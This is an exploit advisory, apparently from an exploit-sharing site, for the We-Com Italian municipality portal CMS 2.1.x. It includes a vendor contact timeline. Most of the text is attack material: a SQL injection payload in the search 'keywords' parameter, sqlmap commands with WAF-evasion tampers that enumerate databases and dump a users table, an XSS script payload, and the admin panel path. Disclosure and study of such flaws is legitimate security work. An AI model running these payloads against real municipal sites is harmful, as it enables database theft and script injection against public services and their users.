We-Com Municipality Portal CMS 2.1.x Cross Site Scripting / SQL Injection Vulnerabilities

# Exploit Title: We-com Municipality portal CMS SQL Injection & XSS Vulnerability
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.we-com.it/
# Version: 2.1.x
# Tested on: 5.5.0-kali1-amd64

---------------------------------------------------------


Vendor contact timeline:


2020-05-05: Contacting vendor through  [email protected]
2020-05-26: A Patch is published in the versions
2020-06-01: Release of security advisory




PoC 1:
The attacker once locate the sql vulnerability in the "keywords" parameter of the portal search bar then the attacker  will be able to  perform an automated process to exploit the secruity  of Italien Municipality portal CMS 
Payload(s)

http://www.site.it/cerca/
POST Data: keywords='1'--

SQLMAP Payload(s):


sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs

sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D **_db --tables

sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D **_db -T utenti


PoC 2 :

XSS Vulnerability

Payload(s) :
http://www.site.com/cerca/ 
in the search bar:
'"<script>alert(1);</script>%



Admin panel:

www.site.it/admin/


#  0day.today [2020-07-20]  #